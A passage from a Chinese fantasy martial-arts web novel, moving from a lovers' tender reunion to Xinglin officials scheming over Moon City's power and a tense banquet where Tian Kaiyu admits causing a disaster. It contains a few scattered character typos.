诗梦芳心荡起一波甜蜜的涟漪,紧偎了偎娇躯。喃喃娇喘细语道:“可是梦儿好幸福……”

一旁的卓映雪轻声呻吟道:“噢--雪儿不要再离开了,那样的滋味太折磨人了……”

天开语回吻吻她,歉声道:“真是对不起了,都是为夫不好,让雪儿寂寞痛苦。”

卓映雪轻摇摇头,抬起晕红俏媚的脸儿,深情的眼波柔柔望着爱人,兰麝轻吐道:“开语说哪里话,雪儿有梦儿她们相伴并不孤独--但是缺少了情郎的拥抱,的确会在眠寝时感到寒凉……”

这时碧丝丝和屏艾琳开始替卓映雪和诗梦清洁身体,听到将军这么说,屏艾琳便接口道:“是啊。虽然白天将军跟我们很亲热,但是每到夜晚,她都要自己单独睡的,说是先生行事出人意料,说不定什么时候就会回来,将军要等着呢!”

天开语听着,顿时一股热流上涌,生生地堵在了心口,双眼也阵阵地发酸、湿润,险些就要溢了出来,忙一下低头,将脸埋进雪儿浓密的秀发里,闭上眼睛,将渗出的液体揉进那万千柔缕之中--一时间竟哽得无法说出话来……

感受到爱郎心中的悸动,浓浓的温柔立刻将卓映雪整个身心全部包围,令她对爱人那刻骨的爱恋几乎要炸裂开来!

“呃,开语……没关系的。只要想到你,雪儿便会觉得生活中充满了甜蜜和幸福--即便儒要雪儿的生命都无所谓,更何况这短暂的分离呢?”她如同梦呓股对着面前那坚实胸膛中有力搏动的心脏深情说道。

一股不祥之感猝然袭来。

天开语立时感到浑身的不舒服。

“雪儿,为什么要提到死呢?有我在,就不会有任何人、任何力量将你从我身边夺走!即便是上天也不行!”他猛地从卓映雪发问抬起头,皱着眉头轻斥道。

听到爱郎的语气说到最后时几乎带着咬牙切齿的味道,卓映雪不禁错愕:自己只是随口说说,为何开语会有如此强烈的反应呢?

不过虽然讶异,但这也仅仅是片刻时间而已,卓映雪随即想到这实在是因为这至爱的男人深爱自己才会做出如斯反应,因此心中立刻被更为强烈的滔天爱焰所吞没:“哦,开语,我的男人……”说着她已经一下将天开语扑倒在下。

望着这媚态横生、眼波流蔼的美妇眸内喷出的烈焰。天开语不禁咧开了大嘴!又要来啦!

同一时刻,杏林市政大楼的一间密室里……

“什么?镜踪你说的是真的吗?是你亲眼看见的吗?”面对面坐在一张样式古朴的小几旁,叶绪长青吃惊地望着好友连声问道。

“不错,是我亲眼看到的--那实在是太可怕了!长青,那种力量根本就不是我们能够抗争的,抗争的结果,只会带来无情的毁灭!”血镜踪注视着叶绪长青,肯定地点头说道。

“可是……难道我们多年的心血就这么拱手……”悲愤一下涌上心头,叶绪长青的声音一下大了起来,双拳紧握,额上也是青筋暴现。

“唉!有些事情,在我看到那人世间闻所未闻的一幕后,便知道不是我们常人能够想像的了。那种力量,让我第一次感觉到了自己的渺小。同那种伟大的力量相比较,这世间的一切,便成了儿戏……”血镜踪的眼中飘浮起一层迷惘,不,应该说还有几分瞳曝。

“可是我们只不过是普通人啊!镜踪你也说过,那种情形是天道的境界,可是我们根本就不曾想过要达到天道之境啊!我们……我们只想过人世间最繁华、幸福的生活而已呀!难道这个愿望也要受到阻碍吗?”叶绪长青越发地激动,以至于“腾”地一下从座位上站了起来。

“长青你稍安勿躁,坐下坐下,听我说下去。”血镜踪轻叹一声,以柔和的目光安抚着这生死至交。

“哼!”叶绪长青脸色铁青,重重地发出了一声愤恨的鼻息,然后重新落座。

望着好友激动的样子,血镜踪沉吟了片刻,才重新说道:“长青,你知道吗?其实从我发现了那个秘密之后,便有了生命的危险--你不要激动,听我说完。”血镜踪以眼神制止叶绪长青又将发作的欲望,语调沉稳地继续说道:“但是天先生没有那么做。那,我们来分析一下这是为什么。”

“为什么?什么为什么?”叶绪长青已经被气愤冲昏丫头脑,根本无法恢复正常的理性思维。

“唉!长青你镇静一点,不要这样子。要知道,不论情形如何,你身为杏林的首脑,都不应该混乱!”血镜踪不得不以真元之力夹在声音之中进行喝斥,否则只怕这好友会一直处在这种狂乱的状态之下,失去正常的判断力--要知道,在多年的奋斗生涯中,他二人可是互补的!

这声断喝果然立竿见影,在张口结舌了一会儿后,叶绪长青散乱的目光开始重新凝聚起来,虽然仍是满头大汗气息虚浮,但很明显的,他的神情变得和缓了许多。

“唉!”叹息一声,血镜踪主动将双手伸出,一把握住叶绪长青仍然紧握的双拳,一股柔和温暖的真元透过肌肤涌向老朋友的全身。在感觉到好友的气血平稳下来,掌中的双拳也变得松弛后,他才放开双手。

“长青,你这样很让我担心。”血镜踪摇着头,微皱着眉不满地看着叶绪长青道。

此刻叶绪长青因为血镜踪强大真元的帮助,已经完全平定了心神,同时周身的汗液也悉数挥发干净,重新变得干爽--这无疑对他的心理调整进一步产生了良好“对不起……这是我的不对--好,镜踪你说我听,不再干扰你的思路。”叶绪长青惭愧地低下丫头,诚恳的向血镜踪道歉。

“没什么对不起的,我们之间,永远用不着说这三个字。”血镜踪淡淡摇头道,同时起身将小几上那杯因叶绪长青适才的激动而不慎打翻的冰饮取走,然后不紧不慢地再替他倒上一杯新的。他这样轻柔和缓的举止,同样影响了叶绪长青的情绪,令他的心境也不知不觉地变得柔和了起来。

“谢谢。”接过血镜踪递过来的冰饮,轻轻啜了一口,叶绪长青感觉整个人从里到外立时一片清凉,大脑也清爽了许多。

“好些了吗?”血镜踪温和关切地问道,在得到肯定的回答后,他才端起面前的冰饮抿了一口,接着前面的话题道:“天先生没有那么做的原因,首先一定不是因为忌惮我的武道修为--我目前的修为,恐怕还未放在他的眼里。”他苦笑着自嘲了一番,又端起冰饮抿了一口,“镜踪的意思是……他是因为卓楚瞑?”终究是老辣政客,一旦清醒过来,便立刻能够抓住问题的要点。

“不错,正是这样--唔……长青你恢复了,这真是件好事。”血镜踪赞许地对叶绪长青点点头,认同了他的判断。

“这么说来,虽然他们拥有绝对的强大力量,但却并不愿意纯粹以武力解决一切……唔,我知道了,他们是想另行建立一个权力核心,一个足以与熠京抗衡的权力核心!”叶绪长青长吁一口气,目光灼灼地说出了自己的看法。

“长青你清醒时的头脑的确没有多少人可以相比--你说的一点不错。不过,或许他们不会这么霸道,公开与熠京分庭抗礼……”血镜踪沉吟着继续沉思道。

“嗯,镜踪你说的很有道理。公开这么做,势必会引起整个东熠大陆的动荡,其结果很可能使得东熠的发展出现大幅倒退,重新回到新元初创时的分裂状态!”叶绪长青的眼睛开始眯成了一条线,但其中却不时进出闪闪精芒,显示出他正在进行紧张的思考判断。

“我想在月亮城如此繁华的桃源之地生活这么多年,卓楚瞑他应该不会愿意看到大陆战乱纷呈的局面吧。”血镜踪冷笑道:“据我们的谍报,这位卓楚瞑将军,原先本是个世族的纨裤子弟,天晓得是什么原因,竟让天开语这起卓人物看上了他!结果让这个原本藉藉无名的小辈坐上了月亮城的头号权位!”

“既然出生富贵,禀性又是那样浮华,相信也不是那种可以吃苦的人,所以那种混乱的局面应该是他所不愿看到的--当然,真正出现乱世,他也未必能够驾驭引领局势的发展。”叶绪长青接着血镜踪的话笑道,脸上浮现一抹狡擒的笑纹。

“因此,对于我们来说,不论是接受熠京中央的领导,抑或是承认月亮城的统治地位,只要小心应付,满足两方面的需求,那么就不必担心今后的局势走向。血镜踪一脸的轻松,向椅背闲适地靠去。

“我们所要考虑的,便是如何恰到好处地满足眼下卓楚瞑的胃口,既避开他的锋芒,又不至于自己太过吃紧。”不愧是多年的最佳拍档,叶绪长青似血镜踪肚里蛔虫一般顺着好友的话意进行补充。

“正是。眼下卓楚瞑的意图很明确,就是需要我们杏林的两大根本事业:‘国手堂’和‘大医药局’,那我们就迎合他们,把他们需要的悉心提供……”血镜踪仿佛在叙述与己无关的事情一样,轻描淡写地说着。

“只要最终的控制权在我们手中,那么就不必担心失去它们。”叶绪长青也靠向了椅背,说出了血镜踪的言外之意。

“相信他们最多不过派还部分管理人员安插进来,只要我们把现有的管理结构保持完善,那么他们就不可能百分之百地掌控‘国手堂’和‘大医药局’!”血镜踪的神情专注起来。他暗暗不定决心,一定要将“国手堂”的内奸给挖出来!

“是啊,是得小心一点,看样子,杏林被渗透得很深哪!连镜踪你的‘国手堂’都……”叶绪长青皱起眉头,担忧地看着好友。

“哼!回头我就立刻彻查此事,即便错冤十个,也绝不漏掉一人!”血镜踪眼中进出腾腾杀气,脸色阴沉地低声道。

“‘大医药局’也要重新梳理一遏了,那可是我们的根本,没有它,杏林也就失去了存在的意义。”叶绪长青咬咬牙冷哼道。

“对了,早上见面时,镜踪你说天开语想动用你的人,是否我们也可以在这方面做点‘工作’呢?”叶绪长青匆若有所思地提醒血镜踪道。

“唔……本来我还没有什么想法,不过经过此次晤面,我倒也动了这个念头,只不过……”血镜踪沉吟道。

“只不过什么?是担心暴露吗?”叶绪长青问道。

“不错。我在想,一旦暴露了我们在搞反间计的话,只怕结局会让我们很被动。”血镜踪说出了自己的担心。

“唉,镜踪多虑了。你想想看,这世间哪有什么利益的获得是可能不承担风险的呢?正所谓风险与利益成正比!我们之所以这么做,无非也是为了确保自己的,利益最大限度地不受损害呀!”叶绪长青老于世故地分析道。

望着布满算计的脸孔,血镜踪忽然发现,自己在不知不觉中发生了改变。他变得没有朋友那般斤斤计较了--而就在今天与天开语分手时,他还在想着应该怎样利用天开语的交换条件,来帮助“国手堂”……

难道是因为见到了天开语跟离字凄这两座武道高峰,自己的心态变了?

血镜踪认里想了一下,最后不得不承认,自己的确是因为这两个人,看待事情的观点开始有所转变。

“这个嘛……如果长青觉得这样合适,那就这么安排吧,只是千万要谨慎。”池言不由轰地点头道。

“镜踪是否不赞同这么做?如果这样,那就不必了--或许这样的风险太大,不值得去做。”毕竟是多年的好友,虽然血镜踪并未表现出明显的表情变化,但是叶绪长青仍感觉到了他的迟疑,便忙改口说道。这么多年了,他从未怀疑过这个好友,既然他反对,那么就说明这么做确实有其不妥之处--人的直觉有时还是很准确的,说实话,他并不完全信任新元科技那所谓的风险概率资料分析。

血镜踪歉然地看看叶绪长青,知道自己的心理转变影响了好友做为一个地区首脑应有的判断力。

不过他也不想多说什么。因为一个模糊的念头正在他心中逐渐生成,他想也许时机成熟时,长青也会理解他的所作所为吧……

这么一想,匆然间血镜踪发现,对于彻查“国手堂”内奸一事,好像也不是那么的迫切和有必要了--真正查出来了又如何呢?面对天开语和离字凄这样的强者,他又能做出什么呢?

他不禁苦笑一下,心中涌起挫败后的颓然。

叶绪长青敏感地发现了好友的情绪变化,不由紧张道:“镜踪你怎么……有什么问题吗?”要知道,在他的记忆中,这位好友可从来都以坚强着称的。可现在他却……

“哦,没什么,长青不用担心,我只是想到了那个天先生和离字凄大老的事情……”血镜踪连忙掩饰道。

“嗯。对了,说起这个,镜踪你看到的秘密,没有另外人知道吧?”叶绪长青忽然神情凝重起来,关切地问血镜踪道。

“没有,除了长青,我不会告诉任何一个人。”血镜踪感动地回答道。他知道,这种事情如果扩散的话,一旦激怒天开语和离字凄这两个绝世煞星,只怕整个杏林都会化为平地!

“这就好。好吧,这件事从此以后我们就当没有发生过--对了镜踪,那个‘子袤飘香’的午宴安排好了吗?希望在这方面不要再出乱子才好。”叶绪长青甩了下头,将话题转移开来。

“应该不会有问题的,‘子袤飘香’又不是头一回接待贵宾。唔,幸好一开始就将天开语这批行弈的学员安置在那里,级别还很高,守卫也十分森严,否则谁知道会出现什么意外。”血镜踪皱眉说道,语气里颇有庆幸的意味。

“可是,除了天开语,你不是安排了其他人游览‘妖莽幽坑’了吗?那个叫什么休·比林斯的武督,还有那些行弈的学员不会有意外吧--那个地方如果偏离了路线,也很凶险的!”叶绪长青显然考虑得更加周全一些,提醒好友除了天开语外,还可能存在另外的变故。

血镜踪一怔,不禁锁起了眉头。

是啊,谁知道会不会再出现意外呢?要知道,尽管每年有无数的游客想要参观“妖莽幽坑”,但并不是人人都可以遂愿的!除去不菲的价格外,预先签下“意外责任不负”的霸王条款也是阻止人们够胆进入那神秘地带的主要原因之一。虽然已经很久没有出现过游人失踪的事故,但几百年前的那场事故。至今仍令杏林的人们胆寒。

想想那数百人在顷刻间被一股莫名力量吞没的惨剧,血镜踪便有些不寒而栗。

天,但愿休·比林斯武督他们真的不要遇上危险……

血镜踪平生第一次为自己做出的决定感到后悔了。

不行,看来得立刻派人去将那些人接回来!

本来这些人算不上什么的,可是一旦与天开语和离字凄挂上钩,便不啻一个烧红的石头捧在手上了!

“得赶紧把他们召回来!”望着血镜踪的神情,叶绪长青心有灵犀地立刻决断道。

“是,我这就让寻奇去办理这事!”血镜踪用力点头道。

“他一个人恐怕还不行,得再安排几个得力的下属!”叶绪长青重语气道。

“好吧,再派几名天座、地座级别的人去!”血镜踪连连点头答应。

“你这就去安排,我去‘子袤飘香’会见客人--等事情办完后,你立刻回来赴宴。”叶绪长青进一步指示道。

“嗯,我这就去,回头见!”血镜踪坐言起行,即时便动身离开。

“回头见!”叶绪长青望着好友的背影忧心忡忡地同他道别。

午宴如时举行。

现在的“子袤飘香”,愈发地戒备森严了。

在月亮城和杏林宾主重新晤面时,叶绪长青意外发现,对上午发生的那一幕,杏林方面自是因为自己的命令严禁多加妄谈,便是月亮城那边诸人,似乎也受到了某种警告而讳莫如深,没有一个人提及曾经切身经历的恐怖。双方仿佛都在小心冀冀地回避那个话题--难道他们也被天开语或者离字凄告诫过吗?

叶绪长青的猜测没有错,只不过下达这禁议命令的,并不是天开语或者离字凄,而是卓楚瞑。

天开语一直都忙着与几个心爱的女人周旋,哪里会去想到安排这种事情呢?完全是卓楚瞑自己思前想后做出这个决定的。

说实话,直至目前,卓楚瞑都不知道离字凄大老已经离开了月亮城跟随自己一行俏俏到了杏林,这自然是唯一知情的卓映雪未曾告诉他的缘故。

不过他还是对师尊天开语为何会弄出这场事故而感到困惑。

与叶绪长青和血镜踪已经有了成见、相对容易理解不同,他都不知道师尊这么做对月亮城会有什么帮助,要知道,那场灾难险些令月亮城的人也跟着陪葬啊!

回想起现场丧命的杏林官员,卓楚瞑不禁暗自庆幸己方没有人伤亡。不过在未弄清楚师尊这么做的意图之前,他决定暂时禁止月亮城诸人谈论这件事。

午宴在相对友好的气氛中进行着,

由于谁都不知道那场事故发生的原因,而双方的首脑又都禁止谈论,因此在交谈时,月城人和杏林官员之间都保持着谨慎和猜疑的距离。

“映雪,你是否问过师尊……”好不容易见卓映雪与天开语分开,卓楚瞑立刻迎上前去小心问她。

“问?问什么呀?”卓映雪此时心情好得无以复加,笑靥如花地望着族兄反问道。

卓楚瞑一愣,看着眼前这因爱情的滋润而变得媚艳惊人的族妹不禁失神了片刻,然后才轻咳了一下道:“今天是怎么回事,师尊跟你说了吗?”

卓映雪这才明白他在说什么。不过她自见面后就一直沉浸在与爱人的激情缠绵中,又哪会有闲功夫想起来问这种“无聊”的事情呢?因此当下便露出了尴尬的表情,支支吾吾道:“这个……这个嘛……”

看到她这样子。卓楚瞑立刻便知道她压根儿没有将那旁人看来惊怖无比的变故放在心上--唉,沉浸在爱情中的女人都是这样的,除了心上人,根本再容不下半点其他东西在心里。

“那……就算了,回头我去问师尊吧!”卓楚瞑只好苦笑一下,轻轻拍拍族妹的胳膊道。

“哦,对不起楚瞑,我没有想起来……”卓映雪抱歉地对族兄笑笑道。

“没什么。其实看到雪儿你这样开心,我也很高兴的--好了,你去忙吧,我去看看师尊。”卓楚瞑通情达理地安慰族妹道。

“对了楚瞑,你不是要把阿铃带给开语认识的吗?我看现在正是一个好的机会呢!场合既不会太严肃,又不算很随便……”卓映雪忽想到一事,忙提醒族兄道。

“嗯……算了,这事还是先放一下吧!我想还是先问问师尊早上的事情。”卓楚瞑略想了一下,便婉言谢绝了族妹的提议。说这话时,他的目光擦过卓映雪的身边,落在了下远处一位寻常官员打扮的妙龄女郎,她正以温柔的双眸含情脉脉地关注着自己。

“看什么?是不是又在看阿钤?嘻,你们两个呀!啧啧……”卓映雪转身看到族兄正与他的情人梵阿铃对视便取笑他道,随后匆冲他身后挤了挤眼睛轻捶他一下,闪身走开了。

正不解族妹为何做出这种古怪的表情时,卓楚瞑听到身后传来了师尊天开语温和的声音:“楚暝,你做得很好!”

浑身猛地一霞,卓楚瞑迅速转过身来,本能地便要行礼,却立刻被一股柔和的大力制住。

“在这里不用这样狗谨。”天开语笑着说道。

“是,师尊。”卓楚瞑连忙低声回应,眼睛忍不住抬起来偷偷地看了师尊一眼,却见这行事起卓的强者正露出长辈那种厚重深沉的目光,关切地注视着自己,不由得心灵一下颤悸,一种膜拜的冲动随之油然而生--在整个月亮城里,恐怕只有他才能里切地体会到师尊那与实际年龄相貌绝不相符的智慧和成熟。在师尊的眼里,他见到了比自己的父辈甚至祖辈都要深刻的睿智,那眼里岁月积淀的沉重,让他单薄的人生简直无法承受……

“怎么样?现在是不是觉得一切比较顺手了?”天开语从卓楚瞑身边擦过,边走边语气平和地说道。

“是!楚瞑正在努力学习一切、适应一切。”紧紧跟随在师尊高伟的身后,卓楚瞑认里回答道。

“不但适应,看来你已经掌握了不少东西。”天开语不紧不慢地行走在宴厅之中,所到之处,人们皆自动回避--此时此刻,在他的身上,正毫不掩饰地洋溢着领袖的泱泱气度,在这个场合下,前世“霸”的宏大风范正充斥着他的一举一动,很自然便令周围的人衷心折服。

尽管每个人仍在进行社交谈话,但渐渐地,所有人的目光都开始被天开语所吸引。

在不知不觉中,他成了众人瞩目的中心。

每个人的心态都各不相同。

不过有一点却是相同的,就是人人心中都对这个气度宏大的月城至尊生出了敬睱……

卓映雪的美眸中异彩涟涟。

她怎么也没有想到,那在初次见面时予自己以怯弱、无赖印象,之后又加上好色多情观感的“小”男人,现在居然会有这种气质出现!

尽管他在后来也表现出了其强大的武道修为,但是在他身上看到这种摄人心魄的恢宏气度,却还是第一次啊!

在为自己越来越无法捉摸爱人身上究竟还隐藏有多少不为人知的秘密而感到迷惑的同时,唯有一点卓映雪是可以肯定的,便是自己今生今世将再无法离开这个男人。

血镜踪同样感到震撼。

对于武道的精深研究,使他深切地了解什么是有诸内而形诸外。

只有内在的真正坚实稹淀,才会有外在气质的特立不群。

他没有想到,除却武道修为臻至天道外,这天先生就连本有的气质,也是那般地浩浩荡荡!

那分明是对人生有着无比透彻经历的人才会拥有的气韵!

那分明是在无数次操纵干军万马后才可以培养出的大度!

在这个时候,血镜踪无法不生出这样的感觉,真正的领袖就应该是像天先生这个样子,而不是离字凄大老那般的神秘掩藏,当然更不可能是叶绪长青或者卓楚瞑的那种沾满俗世尘埃。

他终于明白过来,为何在两次见面时,天先生每每会出现偶尔的举手投足,都令“国手堂”的人茫然无措--这实在是因为他平时只不过在刻意掩饰自身本有的气质啊!

这世间竟然有这等人物!

血镜踪闭上眼睛,心中重重地感叹道。

“师尊,今天那件事……”卓楚瞑犹豫再三,仍忍不住开口问道。

“那事是我干的。”天开语立刻道。

虽然心中已经猜到了答案,但亲耳听到师尊如此干脆地承认,卓楚瞑仍不免有些销愕,“还有大老。”天开语继续说道。

这个答案更令卓楚瞑惊骇绝伦!

天哪!离字凄大老竟然离开了月亮城!

天哪!大老竟就在自己身边!

这过分惊人的消息,如同一个意外的闷雷,差点将卓楚瞑震晕过去。饶是如此,他也感到一阵目眩,浑身血液浮荡翻腾!

张口矫舌了好一会儿,甚至都没听清天开语后面又说了些什么,直到天开语停下脚步,瞥他一眼,问道:“楚瞑你怎么了?发愣吗?”他才回过神来。

“师……师尊,您是说……大老他……他老人家也来了吗?”可怜的学生简直无法承受这半天来一个接一个的意外,结结巴巴地望着天开语傻傻问道。

“老人家?”天开语一怔,随即明白过来,登时哑然失笑,心道:想不到以风华妙龄形貌出现的字凄,居然在月城人的心目中是……“老人家”!这真是太有意思了。不过想归想,他仍不得不叹服离字凄那夺天造化的无上修为,竟然可以将几百年的岁月驻留在最美好的那一段当中,这可比自己那个莫名其妙拥有的转世记忆厉害多了!

从卓楚瞑的话中,天开语听出他并不知道离字凄暗中随行的事情--这应该是雪儿得到大老的专门吩咐才这么瞒着自己族兄的,不过任何禁忌到了他天开语这里,都可以变得无所谓。因此他便点点头道:“不错,正是如此,不过她并不想让太多人知道,所以楚瞑大可当作她不在场,继续做自己应该做的事情。”

听到天开语的话,卓楚瞑又是一愕,怎么师尊他在提及大老时,是用“她”这个性别称谓呢?难道说……大老是个……女的?

卓楚瞑不禁心中呻吟一声:这究竟是怎么回事啊!今天是怎么了,怪事一个接一个……

不过虽然心里乱作一团,在表面上卓楚瞑仍显得相当平静,只不过话却说不出来了--他实在害怕自己再说下去,又会引出什么稀奇古怪的事情。跟师尊在一起,这个世界真是太过多姿多彩了,以至于令他无法轻松适应。

“不过楚瞑你的表现越来越好了。唔……就这样干下去吧!你会很有前途的--大老一位迟早属于你,只要用心去做。”天开语语气平淡而肯定地说道。

“这……师尊您太看重楚瞑了,只怕楚瞑能力有限……再说大老他……”迟疑了一下,卓楚瞑仍用“他”来称呼离字凄。

“哦,字凄没有什么的,她对权位这些东西并没有什么太多的兴趣。”天开语摇头道。

天哪,又是“她”!难道大老当真是个女人吗?可在籍属上登记的,分明是男性啊……

卓楚瞑感觉心中涌起一股说不出的、怪怪的感觉,这感觉甚至令他有些心栗。

“这……我……嗯……不管怎样,反正楚瞑的一切都是师尊给的,师尊怎么安排,楚瞑坚决照做!”呆了一下,卓楚瞑才懂得从正面回答天开语的话。

“好,这样就对了嘛!”天开语漫不经心地点了点头,随口应道。这时他的注意力已经转移到了宴厅的门口处。

在门口处,天开语看到了一幕与宴会气氛不协调的情景!几个制服打扮的人形色紧张地走进了宴厅,在门口四处张望一圈后,似找到了目标,相互便对视了一眼,然后匆匆走向宴厅的一隅。在那里,“国手堂”堂主血镜踪正孑然独立神色沉凝,似在想什么东西。见这几人走近自己,他明显脸色微微生变,目光也变得专注起来,在其中一人附耳低语片刻后,他甚至略略朝天开语这个方向膘了一眼……

难道出了什么事吗?

天开语不禁心中一动,同时感觉平晰的心镜竟然微微地泛起了一缕波纹……

难道这事会与自己有关吗?

一向敏锐过人的直觉立刻闪过这个疑问,天开语的目光开始凝重起来……